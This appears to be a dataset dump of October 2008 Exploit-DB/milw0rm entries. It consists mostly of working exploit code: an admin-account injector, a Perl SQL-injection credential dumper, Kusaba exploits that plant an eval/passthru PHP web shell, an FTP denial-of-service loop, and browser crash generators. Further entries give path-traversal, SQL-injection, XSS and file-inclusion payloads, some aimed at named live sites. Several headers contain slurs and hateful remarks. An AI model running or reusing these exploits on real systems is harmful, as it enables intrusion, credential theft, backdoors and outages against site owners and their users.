QLWD/code_shield huggingface dataset:
标题: SlimCMS 1.0.0 - 'redirect.php' Privilege Escalation EDB-ID: 6729 CVE: 2008-5708 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-10 漏洞利用脚本: #!/usr/bin/php -q
<?php

/*
   SlimCMS <= 1.0.0 Privilege Escalation Exploit
   Discovered By StAkeR aka athos - StAkeR[at]hotmail[dot]it
   Discovered On 11/10/2008
   http://downloads.sourceforge.net/slimcms/SlimCMS-1.0.0.tgz?modtime=1217343227&big_mirror=0
*/


error_reporting(0);

$host = $argv[1];
$host = str_replace('http://',NULL,$host);
$path = $argv[2]."/redirect.php";
$user = $argv[3];

if(!preg_match('/http:\/\/(.+?)$/',$host) and strlen($user) < 5)
{
  echo "[?] Usage: php $argv[0][host][path][username]\r\n";
  echo "[?] Usage: php $argv[0] http://localhost /cms milw0rm\r\n";
  exit;
}

if(!$sock = fsockopen($host,80)) 
{
  die("Socket Error\r\n");
}

$post .= "newusername=$user&newpassword=$user&newisadmin=1";
$data .= "POST /$path HTTP/1.1\r\n";
$data .= "Host: $host\r\n";
$data .= "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($post)."\r\n";
$data .= "Connection: close\r\n\r\n";
$data .= "$post\r\n\r\n";

fputs($sock,$data);

while(!feof($sock)) 
{
  $content .= fgets($sock);
} fclose($sock); 

if(eregi('change.php',$content))
{
  echo "[?] Added New Administrator!\r\n";
  echo "[?] Username and Password: $user\r\n";
  exit;
}
else
{
  echo "[?] Exploit Failed!\n";
}


?>

# milw0rm.com [2008-10-10] URL: https://www.exploit-db.com/exploits/6729
标题: Konqueror 3.5.9 - 'load' Remote Crash EDB-ID: 6718 CVE: 2008-5698 类型: DOS 平台: LINUX 发布日期: 2008-10-10 漏洞利用脚本: <!--- Jeremy Brown [0xjbrown41@gmail.com/http://jbrownsec.blogspot.com]
      Tested on Ubuntu 8.04 + Konqueror 3.5.9
      A product of my fuzzing projects :)                           -->
<html>
<script type="text/javascript">
document.load('');
</script>
</html>

# milw0rm.com [2008-10-10] URL: https://www.exploit-db.com/exploits/6718
标题: Scriptsez Easy Image Downloader - Local File Download EDB-ID: 6715 CVE: 2008-6089 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-09 漏洞利用脚本: # ScriptsEz Easy Image Downloader Local File Download Vulnerability
# url: http://www.scriptsez.net/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.

PoC:     /main.php?action=download&id=[FILE]
Exploit: /main.php?action=download&id=../../../../../../../../../../../../../../../etc/passwd

live demo:
http://demo.scriptsez.net/easy_image/main.php?action=download&id=../../../../../../../../../../../../../../../etc/passwd

# milw0rm.com [2008-10-09] URL: https://www.exploit-db.com/exploits/6715
标题: Stash 1.0.3 - SQL Injection User Credentials Disclosure EDB-ID: 6714 CVE: 2008-4590 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-09 漏洞利用脚本: #!/usr/bin/perl -w
#
# User credentials disclosure exploit - stash103exp.pl
#
# Gnix <gnixmail@gmail.com>
# http://gnix.netsons.org
# 
# This exploit use an SQL Injection in the file admin/login.php to 
# bypass the login, and then an SQL Injection in the admin/news.php 
# to extract all the users info. Note: password are crypted with md5.
#
# Output for each user:
# user_id:user_username:user_password:user_key:user_firstname user_lastname:user_email:user_admin
#

use strict;
use LWP::UserAgent;
use HTTP::Request;
use HTTP::Response;
use HTTP::Cookies;


# Variables
my $cjar  = new HTTP::Cookies( file => 'cookies.txt', 
                               autosave => 1, 
                               ignore_discard => 0);
my $agent = new LWP::UserAgent;
$agent->agent('Lynxy/6.6.6dev.8 libwww-FM/3.14159FM');
  

# Check argv
if(@ARGV != 3) {
  print "[?] Usage  : perl stash103exp.pl <stash_dir_address> <admin_username> <table_prefix>\n";
  print "[?] Example: perl stash103exp.pl http://site/stash/ avril st_\n";
  exit(1); 
}


# Authentication
if(!auth($ARGV[0],$ARGV[1])) {
  print "[!] Error during the authentication!\n";
  exit(1);
}


# Extract all the user information
my $info = extract_data($ARGV[0],$ARGV[2]);
if(!$info) {
  print "[!] Error when extracting data!\n";
  exit(1);
}


# Print user information
$_ = $info;
my @users = m/<1>(.+?)<2>/g;
foreach my $user (@users) {
  print $user."\n";
}


exit(0);

###########################################################################



# Login as $ARGV[1] and save the PHPSESSID cookie
sub auth
{
  my $address = shift;
  my $username= shift;

  # Login
  my $response= $agent->post($address.'admin/login.php', 
                             {username   => "' OR user_username = '$username", 
                              password   => "any",
                              submit    => "Log in"});

  # Save PHPSESSID cookie
  $cjar->extract_cookies($response);

  return $response->is_redirect();
}



# Inject a query through news.php to extract all the info about every user
sub extract_data
{
  my $address  = shift;
  my $prefix  = shift;

  my $query = "-1 UNION SELECT 1 AS news_id, 'Injection' AS news_title,  ".
   "CONCAT('<1>',user_id,':',user_username,':',user_password,':',user_key,".
  "':',user_firstname,' ', user_lastname,':', user_email,':', user_admin,".
  "'<2>') AS news_body, 'Mitnick' AS news_author, NOW() AS news_date, 0  ".
  "AS news_comment FROM ".$prefix."news, ".$prefix."user";

  my $request = new HTTP::Request('GET', $address.'admin/news.php?post='.$query);

  $agent->cookie_jar($cjar);
  my $response= $agent->request($request);

  if($response->is_success()) {
    return $response->content();
  }
  else {
    return undef;
  }
}

# milw0rm.com [2008-10-09] URL: https://www.exploit-db.com/exploits/6714
标题: Ayco Okul Portali - 'linkid' SQL Injection EDB-ID: 6720 CVE: 2008-4574 类型: WEBAPPS 平台: ASP 发布日期: 2008-10-10 漏洞利用脚本: **************************************************************************************

Author : By Crackers_Child
Contact: cashr00t@hotmail.com
Greetz : milw0rm.com & tryag.cc & All My Friends
Note : Siz Pekeke Denen itler ; Siz ne turk ne de kurt olabilirsiniz. Siz Dupe Duz OROSPU cocuklarisiniz !

**************************************************************************************
Script   : Ayco Okul Portali (tr) Sql injection Vulnerability

http://www.aspindir.com/goster/5640

Price    : 100 â‚¬

**************************************************************************************

Exploit : default.asp?tip=sollinkicerik&linkid=1+union+select+0,password,username,3+from+admin

**************************************************************************************
N0te : Zeh1r Oluyor Gâ‚¬câ‚¬lâ‚¬r 1nan Uyuyam1yorum !
**************************************************************************************

# milw0rm.com [2008-10-10] URL: https://www.exploit-db.com/exploits/6720
标题: Camera Life 2.6.2b4 - SQL Injection / Cross-Site Scripting EDB-ID: 6710 CVE: 2008-6087 2008-6086 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-09 漏洞利用脚本: Cameralife 2.6.2b4 (SQL/XSS) Multiple Remote Vulnerabilities
Script:Cameralife 2.6.2b4
Download:http://nchc.dl.sourceforge.net/sourceforge/fdcl/cameralife-2.6.2b4.zip
Author:BackDoor
Bug 1;album.php Remote SQL Injection Vulnerability
Exploit:www.target.com/scriptpath/album.php?id=-1+union+select+0,password,username,3,4,5+from+users
Live
http://chrisnolan.org/cameralife/album.php?id=-1+union+select+0,password,username,3,4,5+from+users
Bug 2;topic.php XSS Vulnerability
Exploit:www.target.com/scriptpath/topic.php?name="><script>alert(document.cookie)</script>
Live
http://chrisnolan.org/cameralife/topic.php?name="><script>alert(document.cookie)</script>
Dork:inurl:"cameralife/index.php"
BackDoor Cyber-Security.TIM //Lojistik

# milw0rm.com [2008-10-09] URL: https://www.exploit-db.com/exploits/6710
标题: Gforge 4.6 rc1 - 'skill_edit' SQL Injection EDB-ID: 6708 CVE: 2008-6188 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-09 漏洞利用脚本: Gforge <= 4.6 rc1 skill_edit SQL injection

Vendor Notified: 2008-10-06 
Impact: zomg!
Note: should work regardless magic_quotes_gpc setting.
Requires: Creating an account and be logged in
Vulnerable function: handle_multi_edit($skill_ids) on /www/people/skills_utils.php

http://gforge.site/people/editprofile.php?skill_edit[]=1);select+1,2,3,version()+as+title,5,6;+--+&MultiEdit=Edit

# milw0rm.com [2008-10-09] URL: https://www.exploit-db.com/exploits/6708
标题: Scriptsez Mini Hosting Panel - 'members.php' Local File Inclusion EDB-ID: 6713 CVE: 2008-6090 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-09 漏洞利用脚本: # ScriptsEz Mini Hosting Panel (members.php) Local File Inclusion Vulnerability
# url: http://www.scriptsez.net/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.

vuln file: members.php

PoC:             /members.php?act=view&p=[FILE]&dir=[DIR]
Exploits: 
/etc/passwd/ --> /members.php?act=view&p=passwd&dir=../../../../../../../../../../../../etc/
conf.php     --> /members.php?act=view&p=conf.php&dir=/test/../../..

live demo:
http://hosting.cgixp.apkafuture.com/index.php?action=login
demo:demo (user login)

http://hosting.cgixp.apkafuture.com/members.php?act=view&p=passwd&dir=../../../../../../../../../../../../etc/
http://hosting.cgixp.apkafuture.com/members.php?act=view&p=conf.php&dir=/test/../../..

Ingenious work :D

# milw0rm.com [2008-10-09] URL: https://www.exploit-db.com/exploits/6713
标题: Joomla! Component Joomtracker 1.01 - SQL Injection EDB-ID: 6709 CVE: 2008-6088 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-09 漏洞利用脚本: ################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
#  d3hydr8 - rsauron - baltazar - C1c4Tr1Z - beenu - P47tr1ck  # 
#                  and all darkc0de  members                   # 
################################################################ 
# 
# Author: rsauron 
# 
# Home  : www.darkc0de.com
# 
# Email : rsauron@gmail.com 
# 
# Share the c0de! 
# 
################################################################ 
# 
# Type: Joomla Component com_joomtracker Remote SQL Injection Vulnerability
#
# Title: Joomtracker XBT external bittorrent tracker
#
# Vendor: http://www.joomtracker.org/
# 
################################################################ 
#
# d0rk: "Powered by Joomtracker"
#
################################################################  
     POC :- 
 
 index.php?option=com_joomtracker&task=tordetails&id=1/**/AND/**/1=2/**/UNION/**/SELECT/**/0,1,2,3,4,5,6,7,8,9,10,11,12,concat(username,0x3a,password),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/**/from/**/jos_users/*       
   
     Live Demo: 
 
 http://www.joomtracker.org/index.php?option=com_joomtracker&task=tordetails&id=1/**/AND/**/1=2/**/UNION/**/SELECT/**/0,1,2,3,4,5,6,7,8,9,10,11,12,concat(username,0x3a,password),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/**/from/**/jos_users/*
 
################################################################ 
#  Bug discovered : 08 Oct.2008
################################################################

# milw0rm.com [2008-10-09] URL: https://www.exploit-db.com/exploits/6709
标题: Kusaba 1.0.4 - Remote Code Execution (2) EDB-ID: 6711 CVE: 2008-5663 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-09 漏洞利用脚本: <!--
9 Oct 2008
Kusaba <= 1.0.4 Remote Code Execution Exploit #2
Sausage <tehsausage@gmail.com>

Will work if they have left the load_receiver.php script un-edited.

After execution: (Yes these are the exact URLs)
http://www.kusaba.image.board/url/change this to the same value as your
KU_ROOTDIRpost.php?pc=print "Hello";
http://www.kusaba.image.board/url/change this to the same value as your
KU_ROOTDIRpost.php?sc=echo Hello
-->
<pre>
<form action="./load_receiver.php" method="POST">
<input type="text" name="password" value="changeme"> <!-- Don't actually
change this, unless they have changed their password and you know it -->
<input type="text" name="type" value="direct">
<input type="text" name="file"
value="PD9waHAgaXNzZXQoJF9HRVRbJ3BjJ10pPyhldmFsKHVybGRlY29kZShzdHJpcHNsYXNoZXMoJF9HRVRbJ3BjJ10pKSkpOihpc3NldCgkX0dFVFsnc2MnXSk/KHBhc3N0aHJ1KHVybGRlY29kZShzdHJpcHNsYXNoZXMoJF9HRVRbJ3NjJ10pKSkpOihoZWFkZXIoJ0xvY2F0aW9uOiAuLi8nKSkpOw==">
<!-- same backdoor from the paint_save.php exploit -->
<input type="text" name="targetname" value="post.php"> <!-- Any
inconspicuous filename will do -->

<input type="submit" value="Exploit">
</form>

# milw0rm.com [2008-10-09] URL: https://www.exploit-db.com/exploits/6711
标题: WinFTP Server 2.3.0 - 'PASV Mode' Remote Denial of Service EDB-ID: 6717 CVE: 2008-5666 类型: DOS 平台: WINDOWS 发布日期: 2008-10-09 漏洞利用脚本: # WinFTP v2.3.0 DoS exploit
# WinFTP URL - http://www.wftpserver.com/
# DoS'ed when try to send data
# (x)dmnt
# -*- coding: windows-1252 -*-

import socket
import time
import sys

PORT = 21

def help_info():
    print ("Usage: winftp <host> <login> <password>\n")
    print ("Note: anonymous is enought\n")

def conn(hostname, username, passwd):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((hostname, PORT))
    except:
        print ("[+] Done!")
        sys.exit(1)

    r=sock.recv(1024)
    print "[+] " + r
    sock.send("USER %s\n" %username)
    sock.send("PASS %s\n" %passwd)
    sock.send("PASV\n")
    sock.send("NLST -1\n")
    sock.send("QUIT\n")
    sock.close()


print ("\n[WinFTP v2.3.0 remote DoS exploit]")
print ("[(x)dmnt 2008 without any clue :)]\n\n")

if len(sys.argv) <> 4:
    help_info()
    sys.exit(1)

else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    passwd=sys.argv[3]
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try: sock.connect((hostname, PORT))
    except:
        print ("[-] Connection error!")
        sock.close()
        sys.exit(1)

    while passwd:
        conn(hostname, username, passwd)
        time.sleep(0.2)

    sys.exit(0)

# milw0rm.com [2008-10-09] URL: https://www.exploit-db.com/exploits/6717
标题: Konqueror 3.5.9 - 'color'/'bgcolor' Multiple Remote Crash Vulnerabilities EDB-ID: 6704 CVE: 2008-5712 2008-4514 类型: DOS 平台: LINUX 发布日期: 2008-10-08 漏洞利用脚本: KDE's Konqueror & Color Attribute Love

perl -e 'print "<html>\n" . "<font color=" . "A" x 500000 . ">\n</html>"' > kdie.html
perl -e 'print "<html>\n" . "<hr color=" . "A" x 500000 . ">\n</html>"' > kdie2.html
perl -e 'print "<html>\n" . "<table bgcolor=" . "A" x 500000 . ">\n</html>"' > kdie3.html
perl -e 'print "<html>\n" . "<table bordercolor=" . "A" x 500000 . ">\n</html>"' > kdie4.html
perl -e 'print "<html>\n" . "<td bgcolor=" . "A" x 500000 . ">\n</html>"' > kdie5.html
perl -e 'print "<html>\n" . "<td bordercolor=" . "A" x 500000 . ">\n</html>"' > kdie6.html
perl -e 'print "<html>\n" . "<tr bgcolor=" . "A" x 500000 . ">\n</html>"' > kdie7.html
perl -e 'print "<html>\n" . "<tr bordercolor=" . "A" x 500000 . ">\n</html>"' > kdie8.html

# milw0rm.com [2008-10-08] URL: https://www.exploit-db.com/exploits/6704
标题: Kusaba 1.0.4 - Remote Code Execution (1) EDB-ID: 6706 CVE: 2008-5663 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-09 漏洞利用脚本: <?php

/**********************************
9 Oct 2008
Kusaba <= 1.0.4 Remote Code Execution
Sausage <tehsausage@gmail.com>

After execution:
http://www.kusaba.image.board/url/kasubaoek/oekaki.php?pc=print "Hello";
http://www.kusaba.image.board/url/kasubaoek/oekaki.php?sc=echo Hello
**********************************/

$shellname = 'oekaki.php'; // any filename ending in php
$server = 'http://www.kusaba.image.board/url/'; // BBS website, with
trailing slash
$image = file_get_contents('test.jpg'); // image to upload (any valid
picture)
$magicquotes = true;

if ($magicquotes)
{
 $shellcode = <<<endSHELL
<?php
isset(\$_GET['pc'])?(eval(urldecode(stripslashes(\$_GET['pc'])))):(isset(\$_GET['sc'])?(passthru(urldecode(stripslashes(\$_GET['sc'])))):(header('Location:
../')));
endSHELL;
}
else
{
 $shellcode = <<<endSHELL
<?php 
isset(\$_GET['pc'])?(eval(urldecode(\$_GET['pc']))):(isset(\$_GET['sc'])?(passthru(urldecode(\$_GET['sc']))):(header('Location:
../')));
endSHELL;
}

$adata = array(
 'No clue' => 'what this is for',
);

function build_data($adata)
{
 $data = '';
 foreach ($adata as $k => $v)
 {
  $data .= "$k=$v;";
 }
 return substr($data,0,-1);
}

function data_len($data)
{
 return str_pad(strlen($data),8,'0',STR_PAD_LEFT);
}

$request = new
HttpRequest($server.'paint_save.php?applet=shipainter&saveid='.$shellname.'%00',HttpRequest::METH_POST);
$data = build_data($adata);
$imagedata = $image;
$animationdata = $shellcode;
$request->setRawPostData("S".data_len($data).$data.data_len($imagedata).'xx'.$imagedata.data_len($animationdata).$animationdata);

echo $request->send()->getBody();

# milw0rm.com [2008-10-09] URL: https://www.exploit-db.com/exploits/6706
标题: HispaH textlinksads - 'index.php' SQL Injection EDB-ID: 6701 CVE: 2008-6155 2008-6154 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-08 漏洞利用脚本: ||          ||   | ||        
                  o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                 ( :   /    (_)    /           (   .  
                  ==================================
                     ============================
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact :  t3tto0 [at] yahoo.com

                 cyb3r-1st [at] hotmail.com

<<!>> Groups : InjEctOr5 T3am 


=======================================================
+++++++++++++ R3membeR Kings of injection ++++++++++++++
=======================================================


<<->> script   : textlinksads

<<->> download : www.hispah.com/demos/textlinksads 


=======================================================
++++++++++++++++ pwning israel fuckers ++++++++++++++++
=======================================================


<<->> D0rk    : find it

<<->> Exploit :>>>>>>>>>

          <!> for admin inf0 ::: 
       >>>>>>>>>>>>>>>>>>>>>>>> www.site.me/index.php?action=buy&idcat=9999999'+union+select+0,concat(username,0x3a,password)+from+admin_detail/*

        <!> for members inf0 ::: 
       >>>>>>>>>>>>>>>>>>>>>>>> www.site.me/index.php?action=buy&idcat=9999999'+union+select+0,concat(username,0x3a,password)+from+reguser/*


=======================================================
+++++++++++++++++++++++ Greetz ++++++++++++++++++++++++
=======================================================


<<->> My best freinds :: titanichacker $ arb-hawk $ denm0 $ drbaka  $ nicehacker 
                          anaconda-ksa $ sirus $ crazy-x $ spk  and all freinds

<<->> InjEctOr5 TeaM  


<<->> All muslims

# milw0rm.com [2008-10-08] URL: https://www.exploit-db.com/exploits/6701
标题: Built2Go PHP Realestate 1.5 - 'event_detail.php' SQL Injection EDB-ID: 6697 CVE: 2008-4497 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-07 漏洞利用脚本: [~]-----------------------------------------------------------------------------
[~] Built2Go PHP RealEstate v1.5 (event_detail.php) - SQL Injection Vulnerability
[~]
[~] [A professional real estate listings website.
[~] Lists homes for sale and apartments for rent,
[~] and provides a powerful search similar to the professional realtor websites.
[~] Allow visitors to list for free, or enforce free or paid registrations.]
[~] Price :- $69.95
[~] http://www.hotscripts.com/Detailed/59295.html
[~] ----------------------------------------------------------
[~] Bug founded by d3v1l
[~]
[~] Date: 07.10.2008
[~]
[~]
[~] d3v1l@spoofer.com  http://security-sh3ll.com
[~]
[~] -----------------------------------------------------------
[~] Greetz tO ALL:-
[~]
[~] Security-Shell Members ( http://security-sh3ll.com/forum.php )
[~]
[~] Pentest
[~]-------------------------------------------------------------
[~] Exploit :-
[~]
[~] http://site.com/event_detail.php?event_id=-1 UNION SELECT
1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7/*
[~]
[~] Demo :-
[~]
[~] http://www.agrents.com/event_detail.php?event_id=-1 UNION SELECT 1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7/*
[~]
[~]--------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-10-07] URL: https://www.exploit-db.com/exploits/6697
标题: GForge 4.5.19 - Multiple SQL Injections EDB-ID: 6707 CVE: 2008-6189 2008-6187 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-09 漏洞利用脚本: Gforge <= 4.5.19 Multiple Sql Injections

Vendor Notified: 2008-10-06
Note: should work regardless magic_quotes_gpc setting.

http://gforgesite.xxx/new/?group_id=&limit=50&offset=50;select 1 as id,CURRENT_USER as forum_id, version() as summary
http://gforgesite.xxx/news/?group_id=&limit=50&offset=50;select+1+as+id,unix_pw+as+forum_id,+user_name||unix_pw+as+summary+from+users
http://gforgesite.xxx/top/topusers.php?offset=0;select+1,version()+as+user_name,3,4,5;

Replace 1337 with a valid group_id:

http://gforgesite.xxx/frs/shownotes.php?release_id=*/+--+454&pub_sql=;select+1+as+is_public,1337+as+group_id,current_user+as+name,4+as+notes,version()+as+changes,6;/*

# milw0rm.com [2008-10-09] URL: https://www.exploit-db.com/exploits/6707
标题: DFF PHP Framework API - 'Data Feed File' Remote File Inclusion EDB-ID: 6700 CVE: 2008-4502 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-08 漏洞利用脚本: # DFF PHP Framework API (Data Feed File) Multiple Inclusion Vulnerabilities
# Script :http://opensource.datafeedfile.com/download/DFF_PHP_FrameworkAPI-latest.zip
# Exploits :
#         /DFF_PHP_FrameworkAPI-latest/include/DFF_affiliate_client_API.php?DFF_config[dir_include]=
#         /DFF_PHP_FrameworkAPI-latest/include/DFF_featured_prdt.func.php?DFF_config[dir_include]=
#         /DFF_PHP_FrameworkAPI-latest/include/DFF_mer.func.php?DFF_config[dir_include]=
#         /DFF_PHP_FrameworkAPI-latest/include/DFF_mer_prdt.func.php?DFF_config[dir_include]=
#         /DFF_PHP_FrameworkAPI-latest/include/DFF_paging.func.php?DFF_config[dir_include]=
#         /DFF_PHP_FrameworkAPI-latest/include/DFF_rss.func.php?DFF_config[dir_include]=
#         /DFF_PHP_FrameworkAPI-latest/include/DFF_sku.func.php?DFF_config[dir_include]=
# Tryag.cc/cc

# milw0rm.com [2008-10-08] URL: https://www.exploit-db.com/exploits/6700